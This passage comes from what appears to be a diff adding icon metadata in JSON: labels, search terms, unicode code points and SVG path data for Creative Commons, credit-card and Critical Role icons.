202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm3.6 53.2c2.8-.3 11.5 1 11.5 11.5l6.6 107.2 4.9-59.3c0-6 4.7-10.6 10.6-10.6 5.9 0 10.6 4.7 10.6 10.6 0 2.5-.5-5.7 5.7 81.5l5.8-64.2c.3-2.9 2.9-9.3 10.2-9.3 3.8 0 9.9 2.3 10.6 8.9l11.5 96.5 5.3-12.8c1.8-4.4 5.2-6.6 10.2-6.6h58v21.3h-50.9l-18.2 44.3c-3.9 9.9-19.5 9.1-20.8-3.1l-4-31.9-7.5 92.6c-.3 3-3 9.3-10.2 9.3-3 0-9.8-2.1-10.6-9.3 0-1.9.6 5.8-6.2-77.9l-5.3 72.2c-1.1 4.8-4.8 9.3-10.6 9.3-2.9 0-9.8-2-10.6-9.3 0-1.9.5 6.7-5.8-87.7l-5.8 94.8c0 6.3-3.6 12.4-10.6 12.4-5.2 0-10.6-4.1-10.6-12l-5.8-87.7c-5.8 92.5-5.3 84-5.3 85.9-1.1 4.8-4.8 9.3-10.6 9.3-3 0-9.8-2.1-10.6-9.3 0-.7-.4-1.1-.4-2.6l-6.2-88.6L182 348c-.7 6.5-6.7 9.3-10.6 9.3-5.8 0-9.6-4.1-10.6-8.9L149.7 272c-2 4-3.5 8.4-11.1 8.4H87.2v-21.3H132l13.7-27.9c4.4-9.9 18.2-7.2 19.9 2.7l3.1 20.4 8.4-97.9c0-6 4.8-10.6 10.6-10.6.5 0 10.6-.2 10.6 12.4l4.9 69.1 6.6-92.6c0-10.1 9.5-10.6 10.2-10.6.6 0 10.6.7 10.6 10.6l5.3 80.6 6.2-97.9c.1-1.1-.6-10.3 9.9-11.5z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm3.6 53.2c2.8-.3 11.5 1 11.5 11.5l6.6 107.2 4.9-59.3c0-6 4.7-10.6 10.6-10.6 5.9 0 10.6 4.7 10.6 10.6 0 2.5-.5-5.7 5.7 81.5l5.8-64.2c.3-2.9 2.9-9.3 10.2-9.3 3.8 0 9.9 2.3 10.6 8.9l11.5 96.5 5.3-12.8c1.8-4.4 5.2-6.6 10.2-6.6h58v21.3h-50.9l-18.2 44.3c-3.9 9.9-19.5 9.1-20.8-3.1l-4-31.9-7.5 92.6c-.3 3-3 9.3-10.2 9.3-3 0-9.8-2.1-10.6-9.3 0-1.9.6 5.8-6.2-77.9l-5.3 72.2c-1.1 4.8-4.8 9.3-10.6 9.3-2.9 0-9.8-2-10.6-9.3 0-1.9.5 6.7-5.8-87.7l-5.8 94.8c0 6.3-3.6 12.4-10.6 12.4-5.2 0-10.6-4.1-10.6-12l-5.8-87.7c-5.8 92.5-5.3 84-5.3 85.9-1.1 4.8-4.8 9.3-10.6 9.3-3 0-9.8-2.1-10.6-9.3 0-.7-.4-1.1-.4-2.6l-6.2-88.6L182 348c-.7 6.5-6.7 9.3-10.6 9.3-5.8 0-9.6-4.1-10.6-8.9L149.7 272c-2 4-3.5 8.4-11.1 8.4H87.2v-21.3H132l13.7-27.9c4.4-9.9 18.2-7.2 19.9 2.7l3.1 20.4 8.4-97.9c0-6 4.8-10.6 10.6-10.6.5 0 10.6-.2 10.6 12.4l4.9 69.1 6.6-92.6c0-10.1 9.5-10.6 10.2-10.6.6 0 10.6.7 10.6 10.6l5.3 80.6 6.2-97.9c.1-1.1-.6-10.3 9.9-11.5z" + } + }, + "free": [ + "brands" + ] + }, + "creative-commons-sampling-plus": { + "changes": [ + "5.0.11" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f4f1", + "label": "Creative Commons Sampling +", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860977, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm107 205.6c-4.7 0-9 2.8-10.7 7.2l-4 9.5-11-92.8c-1.7-13.9-22-13.4-23.1.4l-4.3 51.4-5.2-68.8c-1.1-14.3-22.1-14.2-23.2 0l-3.5 44.9-5.9-94.3c-.9-14.5-22.3-14.4-23.2 0l-5.1 83.7-4.3-66.3c-.9-14.4-22.2-14.4-23.2 0l-5.3 80.2-4.1-57c-1.1-14.3-22-14.3-23.2-.2l-7.7 89.8-1.8-12.2c-1.7-11.4-17.1-13.6-22-3.3l-13.2 27.7H87.5v23.2h51.3c4.4 0 8.4-2.5 10.4-6.4l10.7 73.1c2 13.5 21.9 13 23.1-.7l3.8-43.6 5.7 78.3c1.1 14.4 22.3 14.2 23.2-.1l4.6-70.4 4.8 73.3c.9 14.4 22.3 14.4 23.2-.1l4.9-80.5 4.5 71.8c.9 14.3 22.1 14.5 23.2.2l4.6-58.6 4.9 64.4c1.1 14.3 22 14.2 23.1.1l6.8-83 2.7 22.3c1.4 11.8 17.7 14.1 22.3 3.1l18-43.4h50.5V258l-58.4.3zm-78 5.2h-21.9v21.9c0 4.1-3.3 7.5-7.5 7.5-4.1 0-7.5-3.3-7.5-7.5v-21.9h-21.9c-4.1 0-7.5-3.3-7.5-7.5 0-4.1 3.4-7.5 7.5-7.5h21.9v-21.9c0-4.1 3.4-7.5 7.5-7.5s7.5 3.3 7.5 7.5v21.9h21.9c4.1 0 7.5 3.3 7.5 7.5 0 4.1-3.4 7.5-7.5 7.5z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm107 205.6c-4.7 0-9 2.8-10.7 7.2l-4 9.5-11-92.8c-1.7-13.9-22-13.4-23.1.4l-4.3 51.4-5.2-68.8c-1.1-14.3-22.1-14.2-23.2 0l-3.5 44.9-5.9-94.3c-.9-14.5-22.3-14.4-23.2 0l-5.1 83.7-4.3-66.3c-.9-14.4-22.2-14.4-23.2 0l-5.3 80.2-4.1-57c-1.1-14.3-22-14.3-23.2-.2l-7.7 89.8-1.8-12.2c-1.7-11.4-17.1-13.6-22-3.3l-13.2 27.7H87.5v23.2h51.3c4.4 0 8.4-2.5 10.4-6.4l10.7 73.1c2 13.5 21.9 13 23.1-.7l3.8-43.6 5.7 78.3c1.1 14.4 22.3 14.2 23.2-.1l4.6-70.4 4.8 73.3c.9 14.4 22.3 14.4 23.2-.1l4.9-80.5 4.5 71.8c.9 14.3 22.1 14.5 23.2.2l4.6-58.6 4.9 64.4c1.1 14.3 22 14.2 23.1.1l6.8-83 2.7 22.3c1.4 11.8 17.7 14.1 22.3 3.1l18-43.4h50.5V258l-58.4.3zm-78 5.2h-21.9v21.9c0 4.1-3.3 7.5-7.5 7.5-4.1 0-7.5-3.3-7.5-7.5v-21.9h-21.9c-4.1 0-7.5-3.3-7.5-7.5 0-4.1 3.4-7.5 7.5-7.5h21.9v-21.9c0-4.1 3.4-7.5 7.5-7.5s7.5 3.3 7.5 7.5v21.9h21.9c4.1 0 7.5 3.3 7.5 7.5 0 4.1-3.4 7.5-7.5 7.5z" + } + }, + "free": [ + "brands" + ] + }, + "creative-commons-share": { + "changes": [ + "5.0.11" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f4f2", + "label": "Creative Commons Share", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860977, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm101 132.4c7.8 0 13.7 6.1 13.7 13.7v182.5c0 7.7-6.1 13.7-13.7 13.7H214.3c-7.7 0-13.7-6-13.7-13.7v-54h-54c-7.8 0-13.7-6-13.7-13.7V131.1c0-8.2 6.6-12.7 12.4-13.7h136.4c7.7 0 13.7 6 13.7 13.7v54h54zM159.9 300.3h40.7V198.9c0-7.4 5.8-12.6 12-13.7h55.8v-40.3H159.9v155.4zm176.2-88.1H227.6v155.4h108.5V212.2z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm101 132.4c7.8 0 13.7 6.1 13.7 13.7v182.5c0 7.7-6.1 13.7-13.7 13.7H214.3c-7.7 0-13.7-6-13.7-13.7v-54h-54c-7.8 0-13.7-6-13.7-13.7V131.1c0-8.2 6.6-12.7 12.4-13.7h136.4c7.7 0 13.7 6 13.7 13.7v54h54zM159.9 300.3h40.7V198.9c0-7.4 5.8-12.6 12-13.7h55.8v-40.3H159.9v155.4zm176.2-88.1H227.6v155.4h108.5V212.2z" + } + }, + "free": [ + "brands" + ] + }, + "creative-commons-zero": { + "changes": [ + "5.0.11", + "5.4.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f4f3", + "label": "Creative Commons CC0", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860977, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm-.4 60.5c-81.9 0-102.5 77.3-102.5 142.8 0 65.5 20.6 142.8 102.5 142.8S350.5 321.5 350.5 256c0-65.5-20.6-142.8-102.5-142.8zm0 53.9c3.3 0 6.4.5 9.2 1.2 5.9 5.1 8.8 12.1 3.1 21.9l-54.5 100.2c-1.7-12.7-1.9-25.1-1.9-34.4 0-28.8 2-88.9 44.1-88.9zm40.8 46.2c2.9 15.4 3.3 31.4 3.3 42.7 0 28.9-2 88.9-44.1 88.9-13.5 0-32.6-7.7-20.1-26.4l60.9-105.2z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm-.4 60.5c-81.9 0-102.5 77.3-102.5 142.8 0 65.5 20.6 142.8 102.5 142.8S350.5 321.5 350.5 256c0-65.5-20.6-142.8-102.5-142.8zm0 53.9c3.3 0 6.4.5 9.2 1.2 5.9 5.1 8.8 12.1 3.1 21.9l-54.5 100.2c-1.7-12.7-1.9-25.1-1.9-34.4 0-28.8 2-88.9 44.1-88.9zm40.8 46.2c2.9 15.4 3.3 31.4 3.3 42.7 0 28.9-2 88.9-44.1 88.9-13.5 0-32.6-7.7-20.1-26.4l60.9-105.2z" + } + }, + "free": [ + "brands" + ] + }, + "credit-card": { + "changes": [ + "2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "buy", + "checkout", + "credit-card-alt", + "debit", + "money", + "payment", + "purchase" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f09d", + "label": "Credit Card", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635435, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M0 432c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V256H0v176zm192-68c0-6.6 5.4-12 12-12h136c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12H204c-6.6 0-12-5.4-12-12v-40zm-128 0c0-6.6 5.4-12 12-12h72c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12H76c-6.6 0-12-5.4-12-12v-40zM576 80v48H0V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M0 432c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V256H0v176zm192-68c0-6.6 5.4-12 12-12h136c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12H204c-6.6 0-12-5.4-12-12v-40zm-128 0c0-6.6 5.4-12 12-12h72c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12H76c-6.6 0-12-5.4-12-12v-40zM576 80v48H0V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48z" + }, + "regular": { + "last_modified": 1628088634762, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M527.9 32H48.1C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48.1 48h479.8c26.6 0 48.1-21.5 48.1-48V80c0-26.5-21.5-48-48.1-48zM54.1 80h467.8c3.3 0 6 2.7 6 6v42H48.1V86c0-3.3 2.7-6 6-6zm467.8 352H54.1c-3.3 0-6-2.7-6-6V256h479.8v170c0 3.3-2.7 6-6 6zM192 332v40c0 6.6-5.4 12-12 12h-72c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h72c6.6 0 12 5.4 12 12zm192 0v40c0 6.6-5.4 12-12 12H236c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h136c6.6 0 12 5.4 12 12z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M527.9 32H48.1C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48.1 48h479.8c26.6 0 48.1-21.5 48.1-48V80c0-26.5-21.5-48-48.1-48zM54.1 80h467.8c3.3 0 6 2.7 6 6v42H48.1V86c0-3.3 2.7-6 6-6zm467.8 352H54.1c-3.3 0-6-2.7-6-6V256h479.8v170c0 3.3-2.7 6-6 6zM192 332v40c0 6.6-5.4 12-12 12h-72c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h72c6.6 0 12 5.4 12 12zm192 0v40c0 6.6-5.4 12-12 12H236c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h136c6.6 0 12 5.4 12 12z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "critical-role": { + "changes": [ + "5.4.0", + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [ + "Dungeons & Dragons", + "d&d", + "dnd", + "fantasy", + "game", + "gaming", + "tabletop" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f6c9", + "label": "Critical Role", + "voted": false, + "svg": { + "brands": { + "last_modified": 1558987775895, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M225.82 0c.26.15 216.57 124.51 217.12 124.72 3 1.18 3.7 3.46 3.7 6.56q-.11 125.17 0 250.36a5.88 5.88 0 0 1-3.38 5.78c-21.37 12-207.86 118.29-218.93 124.58h-3C142 466.34 3.08 386.56 2.93 386.48a3.29 3.29 0 0 1-1.88-3.24c0-.87 0-225.94-.05-253.1a5 5 0 0 1 2.93-4.93C27.19 112.11 213.2 6 224.07 0zM215.4 20.42l-.22-.16Q118.06 75.55 21 130.87c0 .12.08.23.13.35l30.86 11.64c-7.71 6-8.32 6-10.65 5.13-.1 0-24.17-9.28-26.8-10v230.43c.88-1.41 64.07-110.91 64.13-111 1.62-2.82 3-1.92 9.12-1.52 1.4.09 1.48.22.78 1.42-41.19 71.33-36.4 63-67.48 116.94-.81 1.4-.61 1.13 1.25 1.13h186.5c1.44 0 1.69-.23 1.7-1.64v-8.88c0-1.34 2.36-.81-18.37-1-7.46-.07-14.14-3.22-21.38-12.7-7.38-9.66-14.62-19.43-21.85-29.21-2.28-3.08-3.45-2.38-16.76-2.38-1.75 0-1.78 0-1.76 1.82.29 26.21.15 25.27 1 32.66.52 4.37 2.16 4.2 9.69 4.81 3.14.26 3.88 4.08.52 4.92-1.57.39-31.6.51-33.67-.1a2.42 2.42 0 0 1 .3-4.73c3.29-.76 6.16.81 6.66-4.44 1.3-13.66 1.17-9 1.1-79.42 0-10.82-.35-12.58-5.36-13.55-1.22-.24-3.54-.16-4.69-.55-2.88-1-2-4.84 1.77-4.85 33.67 0 46.08-1.07 56.06 4.86 7.74 4.61 12 11.48 12.51 20.4.88 14.59-6.51 22.35-15 32.59a1.46 1.46 0 0 0 0 2.22c2.6 3.25 5 6.63 7.71 9.83 27.56 33.23 24.11 30.54 41.28 33.06.89.13 1-.42 1-1.15v-11c0-1 .32-1.43 1.41-1.26a72.37 72.37 0 0 0 23.58-.3c1.08-.15 1.5.2 1.48 1.33 0 .11.88 26.69.87 26.8-.05 1.52.67 1.62 1.89 1.62h186.71Q386.51 304.6 346 234.33c2.26-.66-.4 0 6.69-1.39 2-.39 2.05-.41 3.11 1.44 7.31 12.64 77.31 134 77.37 134.06V138c-1.72.5-103.3 38.72-105.76 39.68-1.08.42-1.55.2-1.91-.88-.63-1.9-1.34-3.76-2.09-5.62-.32-.79-.09-1.13.65-1.39.1 0 95.53-35.85 103-38.77-65.42-37.57-130.56-75-196-112.6l86.82 150.39-.28.33c-9.57-.9-10.46-1.6-11.8-3.94-1-1.69-73.5-127.71-82-142.16-9.1 14.67-83.56 146.21-85.37 146.32-2.93.17-5.88.08-9.25.08q43.25-74.74 86.18-149zm51.93 129.92a37.68 37.68 0 0 0 5.54-.85c1.69-.3 2.53.2 2.6 1.92 0 .11.07 19.06-.86 20.45s-1.88 1.22-2.6-.19c-5-9.69 6.22-9.66-39.12-12-.7 0-1 .23-1 .93 0 .13 3.72 122 3.73 122.11 0 .89.52 1.2 1.21 1.51a83.92 83.92 0 0 1 8.7 4.05c7.31 4.33 11.38 10.84 12.41 19.31 1.44 11.8-2.77 35.77-32.21 37.14-2.75.13-28.26 1.08-34.14-23.25-4.66-19.26 8.26-32.7 19.89-36.4a2.45 2.45 0 0 0 2-2.66c.1-5.63 3-107.1 3.71-121.35.05-1.08-.62-1.16-1.35-1.15-32.35.52-36.75-.34-40.22 8.52-2.42 6.18-4.14 1.32-3.95.23q1.59-9 3.31-18c.4-2.11 1.43-2.61 3.43-1.86 5.59 2.11 6.72 1.7 37.25 1.92 1.73 0 1.78-.08 1.82-1.85.68-27.49.58-22.59 1-29.55a2.69 2.69 0 0 0-1.63-2.8c-5.6-2.91-8.75-7.55-8.9-13.87-.35-14.81 17.72-21.67 27.38-11.51 6.84 7.19 5.8 18.91-2.45 24.15a4.35 4.35 0 0 0-2.22 4.34c0 .59-.11-4.31 1 30.05 0 .9.43 1.12 1.24 1.11.1 0 23-.09 34.47-.37zM68.27 141.7c19.84-4.51 32.68-.56 52.49 1.69 2.76.31 3.74 1.22 3.62 4-.21 5-1.16 22.33-1.24 23.15a2.65 2.65 0 0 1-1.63 2.34c-4.06 1.7-3.61-4.45-4-7.29-3.13-22.43-73.87-32.7-74.63 25.4-.31 23.92 17 53.63 54.08 50.88 27.24-2 19-20.19 24.84-20.47a2.72 2.72 0 0 1 3 3.36c-1.83 10.85-3.42 18.95-3.45 19.15-1.54 9.17-86.7 22.09-93.35-42.06-2.71-25.85 10.44-53.37 40.27-60.15zm80 87.67h-19.49a2.57 2.57 0 0 1-2.66-1.79c2.38-3.75 5.89.92 5.86-6.14-.08-25.75.21-38 .23-40.1 0-3.42-.53-4.65-3.32-4.94-7-.72-3.11-3.37-1.11-3.38 11.84-.1 22.62-.18 30.05.72 8.77 1.07 16.71 12.63 7.93 22.62-2 2.25-4 4.42-6.14 6.73.95 1.15 6.9 8.82 17.28 19.68 2.66 2.78 6.15 3.51 9.88 3.13a2.21 2.21 0 0 0 2.23-2.12c.3-3.42.26 4.73.45-40.58 0-5.65-.34-6.58-3.23-6.83-3.95-.35-4-2.26-.69-3.37l19.09-.09c.32 0 4.49.53 1 3.38 0 .05-.16 0-.24 0-3.61.26-3.94 1-4 4.62-.27 43.93.07 40.23.41 42.82.11.84.27 2.23 5.1 2.14 2.49 0 3.86 3.37 0 3.4-10.37.08-20.74 0-31.11.07-10.67 0-13.47-6.2-24.21-20.82-1.6-2.18-8.31-2.36-8.2-.37.88 16.47 0 17.78 4 17.67 4.75-.1 4.73 3.57.83 3.55zm275-10.15c-1.21 7.13.17 10.38-5.3 10.34-61.55-.42-47.82-.22-50.72-.31a18.4 18.4 0 0 1-3.63-.73c-2.53-.6 1.48-1.23-.38-5.6-1.43-3.37-2.78-6.78-4.11-10.19a1.94 1.94 0 0 0-2-1.44 138 138 0 0 0-14.58.07 2.23 2.23 0 0 0-1.62 1.06c-1.58 3.62-3.07 7.29-4.51 11-1.27 3.23 7.86 1.32 12.19 2.16 3 .57 4.53 3.72.66 3.73H322.9c-2.92 0-3.09-3.15-.74-3.21a6.3 6.3 0 0 0 5.92-3.47c1.5-3 2.8-6 4.11-9.09 18.18-42.14 17.06-40.17 18.42-41.61a1.83 1.83 0 0 1 3 0c2.93 3.34 18.4 44.71 23.62 51.92 2 2.7 5.74 2 6.36 2 3.61.13 4-1.11 4.13-4.29.09-1.87.08 1.17.07-41.24 0-4.46-2.36-3.74-5.55-4.27-.26 0-2.56-.63-.08-3.06.21-.2-.89-.24 21.7-.15 2.32 0 5.32 2.75-1.21 3.45a2.56 2.56 0 0 0-2.66 2.83c-.07 1.63-.19 38.89.29 41.21a3.06 3.06 0 0 0 3.23 2.43c13.25.43 14.92.44 16-3.41 1.67-5.78 4.13-2.52 3.73-.19zm-104.72 64.37c-4.24 0-4.42-3.39-.61-3.41 35.91-.16 28.11.38 37.19-.65 1.68-.19 2.38.24 2.25 1.89-.26 3.39-.64 6.78-1 10.16-.25 2.16-3.2 2.61-3.4-.15-.38-5.31-2.15-4.45-15.63-5.08-1.58-.07-1.64 0-1.64 1.52V304c0 1.65 0 1.6 1.62 1.47 3.12-.25 10.31.34 15.69-1.52.47-.16 3.3-1.79 3.07 1.76 0 .21-.76 10.35-1.18 11.39-.53 1.29-1.88 1.51-2.58.32-1.17-2 0-5.08-3.71-5.3-15.42-.9-12.91-2.55-12.91 6 0 12.25-.76 16.11 3.89 16.24 16.64.48 14.4 0 16.43-5.71.84-2.37 3.5-1.77 3.18.58-.44 3.21-.85 6.43-1.23 9.64 0 .36-.16 2.4-4.66 2.39-37.16-.08-34.54-.19-35.21-.31-2.72-.51-2.2-3 .22-3.45 1.1-.19 4 .54 4.16-2.56 2.44-56.22-.07-51.34-3.91-51.33zm-.41-109.52c2.46.61 3.13 1.76 2.95 4.65-.33 5.3-.34 9-.55 9.69-.66 2.23-3.15 2.12-3.34-.27-.38-4.81-3.05-7.82-7.57-9.15-26.28-7.73-32.81 15.46-27.17 30.22 5.88 15.41 22 15.92 28.86 13.78 5.92-1.85 5.88-6.5 6.91-7.58 1.23-1.3 2.25-1.84 3.12 1.1 0 .1.57 11.89-6 12.75-1.6.21-19.38 3.69-32.68-3.39-21-11.19-16.74-35.47-6.88-45.33 14-14.06 39.91-7.06 42.32-6.47zM289.8 280.14c3.28 0 3.66 3 .16 3.43-2.61.32-5-.42-5 5.46 0 2-.19 29.05.4 41.45.11 2.29 1.15 3.52 3.44 3.65 22 1.21 14.95-1.65 18.79-6.34 1.83-2.24 2.76.84 2.76 1.08.35 13.62-4 12.39-5.19 12.4l-38.16-.19c-1.93-.23-2.06-3-.42-3.38 2-.48 4.94.4 5.13-2.8 1-15.87.57-44.65.34-47.81-.27-3.77-2.8-3.27-5.68-3.71-2.47-.38-2-3.22.34-3.22 1.45-.02 17.97-.03 23.09-.02zm-31.63-57.79c.07 4.08 2.86 3.46 6 3.58 2.61.1 2.53 3.41-.07 3.43-6.48 0-13.7 0-21.61-.06-3.84 0-3.38-3.35 0-3.37 4.49 0 3.24 1.61 3.41-45.54 0-5.08-3.27-3.54-4.72-4.23-2.58-1.23-1.36-3.09.41-3.15 1.29 0 20.19-.41 21.17.21s1.87 1.65-.42 2.86c-1 .52-3.86-.28-4.15 2.47 0 .21-.82 1.63-.07 43.8zm-36.91 274.27a2.93 2.93 0 0 0 3.26 0c17-9.79 182-103.57 197.42-112.51-.14-.43 11.26-.18-181.52-.27-1.22 0-1.57.37-1.53 1.56 0 .1 1.25 44.51 1.22 50.38a28.33 28.33 0 0 1-1.36 7.71c-.55 1.83.38-.5-13.5 32.23-.73 1.72-1 2.21-2-.08-4.19-10.34-8.28-20.72-12.57-31a23.6 23.6 0 0 1-2-10.79c.16-2.46.8-16.12 1.51-48 0-1.95 0-2-2-2h-183c2.58 1.63 178.32 102.57 196 112.76zm-90.9-188.75c0 2.4.36 2.79 2.76 3 11.54 1.17 21 3.74 25.64-7.32 6-14.46 2.66-34.41-12.48-38.84-2-.59-16-2.76-15.94 1.51.05 8.04.01 11.61.02 41.65zm105.75-15.05c0 2.13 1.07 38.68 1.09 39.13.34 9.94-25.58 5.77-25.23-2.59.08-2 1.37-37.42 1.1-39.43-14.1 7.44-14.42 40.21 6.44 48.8a17.9 17.9 0 0 0 22.39-7.07c4.91-7.76 6.84-29.47-5.43-39a2.53 2.53 0 0 1-.36.12zm-12.28-198c-9.83 0-9.73 14.75-.07 14.87s10.1-14.88.07-14.91zm-80.15 103.83c0 1.8.41 2.4 2.17 2.58 13.62 1.39 12.51-11 12.16-13.36-1.69-11.22-14.38-10.2-14.35-7.81.05 4.5-.03 13.68.02 18.59zm212.32 6.4l-6.1-15.84c-2.16 5.48-4.16 10.57-6.23 15.84z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M225.82 0c.26.15 216.57 124.51 217.12 124.72 3 1.18 3.7 3.46 3.7 6.56q-.11 125.17 0 250.36a5.88 5.88 0 0 1-3.38 5.78c-21.37 12-207.86 118.29-218.93 124.58h-3C142 466.34 3.08 386.56 2.93 386.48a3.29 3.29 0 0 1-1.88-3.24c0-.87 0-225.94-.05-253.1a5 5 0 0 1 2.93-4.93C27.19 112.11 213.2 6 224.07 0zM215.4 20.42l-.22-.16Q118.06 75.55 21 130.87c0 .12.08.23.13.35l30.86 11.64c-7.71 6-8.32 6-10.65 5.13-.1 0-24.17-9.28-26.8-10v230.43c.88-1.41 64.07-110.91 64.13-111 1.62-2.82 3-1.92 9.12-1.52 1.4.09 1.48.22.78 1.42-41.19 71.33-36.4 63-67.48 116.94-.81 1.4-.61 1.13 1.25 1.13h186.5c1.44 0 1.69-.23 1.7-1.64v-8.88c0-1.34 2.36-.81-18.37-1-7.46-.07-14.14-3.22-21.38-12.7-7.38-9.66-14.62-19.43-21.85-29.21-2.28-3.08-3.45-2.38-16.76-2.38-1.75 0-1.78 0-1.76 1.82.29 26.21.15 25.27 1 32.66.52 4.37 2.16 4.2 9.69 4.81 3.14.26 3.88 4.08.52 4.92-1.57.39-31.6.51-33.67-.1a2.42 2.42 0 0 1 .3-4.73c3.29-.76 6.16.81 6.66-4.44 1.3-13.66 1.17-9 1.1-79.42 0-10.82-.35-12.58-5.36-13.55-1.22-.24-3.54-.16-4.69-.55-2.88-1-2-4.84 1.77-4.85 33.67 0 46.08-1.07 56.06 4.86 7.74 4.61 12 11.48 12.51 20.4.88 14.59-6.51 22.35-15 32.59a1.46 1.46 0 0 0 0 2.22c2.6 3.25 5 6.63 7.71 9.83 27.56 33.23 24.11 30.54 41.28 33.06.89.13 1-.42 1-1.15v-11c0-1 .32-1.43 1.41-1.26a72.37 72.37 0 0 0 23.58-.3c1.08-.15 1.5.2 1.48 1.33 0 .11.88 26.69.87 26.8-.05 1.52.67 1.62 1.89 1.62h186.71Q386.51 304.6 346 234.33c2.26-.66-.4 0 6.69-1.39 2-.39 2.05-.41 3.11 1.44 7.31 12.64 77.31 134 77.37 134.06V138c-1.72.5-103.3 38.72-105.76 39.68-1.08.42-1.55.2-1.91-.88-.63-1.9-1.34-3.76-2.09-5.62-.32-.79-.09-1.13.65-1.39.1 0 95.53-35.85 103-38.77-65.42-37.57-130.56-75-196-112.6l86.82 150.39-.28.33c-9.57-.9-10.46-1.6-11.8-3.94-1-1.69-73.5-127.71-82-142.16-9.1 14.67-83.56 146.21-85.37 146.32-2.93.17-5.88.08-9.25.08q43.25-74.74 86.18-149zm51.93 129.92a37.68 37.68 0 0 0 5.54-.85c1.69-.3 2.53.2 2.6 1.92 0 .11.07 19.06-.86 20.45s-1.88 